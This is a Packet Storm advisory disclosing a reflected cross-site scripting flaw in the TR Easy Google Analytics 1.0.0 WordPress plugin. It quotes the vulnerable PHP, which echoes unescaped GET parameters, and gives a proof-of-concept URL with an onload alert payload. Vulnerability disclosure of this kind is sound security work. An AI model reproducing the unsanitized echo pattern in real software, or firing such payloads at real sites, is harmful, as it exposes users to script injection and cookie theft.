WordPress TR Easy Google Analytics 1.0.0 Cross Site Scripting

2017-10-10T00:00:00
ID PACKETSTORM:144548
Type packetstorm
Reporter Ricardo Sanchez
Modified 2017-10-10T00:00:00

Description

                                        
                                            `Class Input Validation Error  
Remote Yes  
Reflected Yes  
  
Credit Ricardo Sanchez  
Vulnerable TR Easy Google Analytics plugin 1.0.0  
  
TR Easy Google Analytics plugin is prone to a cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
The XSS reflected because all this values aren't filter correcly:  
  
<style>  
p {  
margin-left: 50px;  
margin-right: 20px;  
font-family: <?php echo $_GET['font-family'] ?>;  
color: <?php echo $_GET['color'] ?>;  
font-size: <?php echo $_GET['font-size'] ?>;  
font-weight: <?php echo $_GET['font-weight'] ?>;  
font-style: <?php echo $_GET['font-style'] ?>;  
line-height: <?php echo $_GET['line-height'] ?>;  
letter-spacing: <?php echo $_GET['letter-spacing'] ?>;  
text-transform: <?php echo $_GET['text-transform'] ?>;  
font-variant: <?php echo $_GET['font-variant'] ?>;  
text-shadow: <?php echo $textShadow ?>;  
}  
body {  
margin: 20px 0;  
background: #fff;  
-webkit-touch-callout: none;  
-webkit-user-select: none;  
-khtml-user-select: none;  
-moz-user-select: none;  
-ms-user-select: none;  
user-select: none;  
}  
body.dark {  
background: #333;  
}  
</style>  
....  
<body class='<?php echo $_GET['dark'] ?>'>  
  
  
Demo url:http://localhost/wordpress/wp-content/plugins/tr-easy-google-analytics/theme-option/iframe-font-preview.php?dark=%27onload%3d%27alert(%22XSS%22)%27  
`